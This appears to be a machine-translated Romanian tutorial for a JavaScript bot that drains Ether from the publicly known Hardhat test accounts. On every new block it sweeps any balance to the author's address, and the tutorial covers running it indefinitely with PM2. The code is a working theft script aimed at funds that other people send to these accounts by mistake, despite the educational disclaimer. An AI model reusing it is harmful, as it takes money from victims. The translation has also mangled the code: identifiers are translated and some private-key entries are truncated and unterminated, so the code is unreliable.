Sari la conținut Treci la bara laterală Sari la subsol

Acest ghid este destinat numai in scopuri educationale si/sau de cercetare!

In cursul acestui tutorial, vom construi un bot care retrage automat fonduri dintr-un cont ori de cate ori primeste Ethereum.

Important: este esential sa ne dam seama ca, daca cheia privata a unui utilizator este furata, contul acestuia va fi automat compromis. O cheie privata este cautata de roboti peste tot! Daca va publicati din greseala cheia privata pe GitHub sau pe alt site web, va veti pierde toate fondurile, iar securitatea contului dvs. va fi permanent compromisa.

Vom folosi conturi de la Hardhat pentru acest exemplu (Hardhat este o platforma de dezvoltare pentru Ethereum). In scopuri de testare, Hardhat va ofera 20 de conturi deterministe, dar unii oameni trimit in mod eronat Ethereum real catre acele conturi. Exista o multime de roboti, dornici sa puna mana pe acel Ethereum.

In cazul nostru, vom lansa bot-ul pe Rinkeby (reteaua de testare Ethereum) pentru a evita concurenta cu robotii de pe Mainnet.

Obtineti acces la cheile private Hardhat

Rularea comenzii npx hardhat node va prelua cheile private. Nu trebuie sa urmati aceasta comanda. Am enumerat cheile private mai jos, astfel incat sa le puteti copia si lipi cu usurinta.

chei private pentru cască ethereum

Important: fiecare utilizator care solicita conturi Hardhat va primi aceleasi date. Daca ne uitam la istoricul tranzactiilor MainNet al unuia dintre conturile de mai sus, putem vedea ca au existat mai multe transferuri in trecut.

Tranzacții cu cască Ethereum pe Mainnet

Creati botul Ethereum

Vom construi botul folosind JavaScript, singurele dependente fiind NodeJS si biblioteca ethers . Biblioteca ethers.js isi propune sa fie o biblioteca completa si compacta pentru interactiunea cu Ethereum Blockchain si ecosistemul acestuia.

Rulati urmatoarele comenzi:

mkdir eth_bot cd eth_bot npm init npm i ethers touch eth_bot.js

Adaugati urmatorul cod in fisierul eth_bot.js:

const { eteri } = require("eteri"); const provider = new ethers.providers.JsonRpcProvider("rinkeby_or_alchemy_or_infura_url"); const addressReceiver = "adresa_eth"; const privateKeys = ["0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80", "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d", "0x7c852118294e51e653712a81e05800f419141751be58f605c371e15141b007a6", "0x47e179ec197488593b187f80a00eb0da91f1b9d0b13f8733639f19c30a34926a", "0x8b3a350cf5c34c9194ca85829a2df0ec3153be0318b5e2d3348e872092edffba", "0x92db14e403b83dfe3df233f83dfa3a0d7096f21ca9b0d6d6b8d88b2b4ec1564e", "0x4bbbf85ce3377467afe5d46f804f221813b2bb87f24d81f60f1fcdbf7cbf4356", "0xdbda1821b80551c9d65939329250298aa3472ba22feea921c0cf5d620ea67b97", "0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6", "0xf214f2b2cd398c806f84e317254e0f0b801d0643303237d97a22a48e01628897", "0x701b615bbdfb9de65240bc28bd21bbc0d996645a3dd57e7b12bc2bdf6f192c82", "0xa267530f49f8280200edf313ee7af6b827f2a8bce2897751d06a843f644967b1 ", "0x47c99abed3324a2707c28affff1267e45918ec8c3f20b8aa892e8b065d2942dd", "0xc526ee95bf44d8fc405a158bb884d9990a", "0xc526ee95bf44d8fc405a158bb884d9990f2038190900000000000000000000000000 "0x8166f546bab6da521a8369cab06c5d2b9e46670292d85c875ee9ec20e84ffb61", "0xea6c44ac03bff858b476bba40716402b03e41b8e97e276d1baec7c37d42484a0", "0x689af8efa8c651a91ad287602527f3af2fe9f6501a7ac4b061667b5a93e037fd", "0xde9be858da4a475276426320d5e9262ecfc3ba460bfac56360bfa6c4c28b4ee0", "0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e" ];

Adaugati o adresa URL Infura, Alchemy sau orice alt furnizor la const provider si adresa dvs. ETH la constanta addressReceiver .

Acum ne putem apuca de botul propriu-zis. Imediat dupa matricea privateKeys , introduceti urmatorul cod:

const bot = async () => { provider.on("block", async () => { console.log("Ascult nou bloc, astept..)"); pentru (let i = 0; i < privateKeys.length; i++) { const _target = new ethers.Wallet(privateKeys[i]); const target = _target.connect(furnizor); const sold = await provider.getBalance(target.address); const txBuffer = ethers.utils.parseEther(".005"); if (balance.sub(txBuffer) > 0) { console.log("CONT NOU CU ETH!"); const amount = sold.sub(txBuffer); încercați { await target.sendTransaction({ to: addressReceiver, value: amount }); console.log(`Succes! transferat --> ${ethers.utils.formatEther(balance)}`); } catch (e) { console.log(`error: ${e}`); } } } }); } bot();

De fiecare data cand se extrage un nou bloc, monitorizam cele 20 de conturi pentru a vedea daca detin Ethereum. Atunci cand se intampla acest lucru, transferam fondurile la adresa noastra ETH.

Rulati botul Ethereum

Cand sunteti gata, rulati urmatoarea comanda si porniti botul: node eth_bot.js

Rulati botul Ethereum fara intrerupere

PM2 este un manager de proces Node.js cu un echilibrator de incarcare integrat. Usureaza realizarea implementarilor de productie si va ofera posibilitatea de a rula aplicatii pe termen nelimitat (chiar si atunci cand apar accidente).

Instalati PM2 ruland urmatoarea comanda: npm i pm2

PM2 poate fi folosit pentru a porni botul in fundal. Pentru a mentine botul sa ruleze pe termen nelimitat, porneste un daemon care va monitorizeaza aplicatia.

Rulati urmatoarea comanda si porniti botul folosind PM2: pm2 start eth_bot.js

Ethereum Bot PM2

A se distra!

Adauga un Comentariu

> Newsletter <
Vă interesează Știrile tehnice și multe altele?

Abonati-va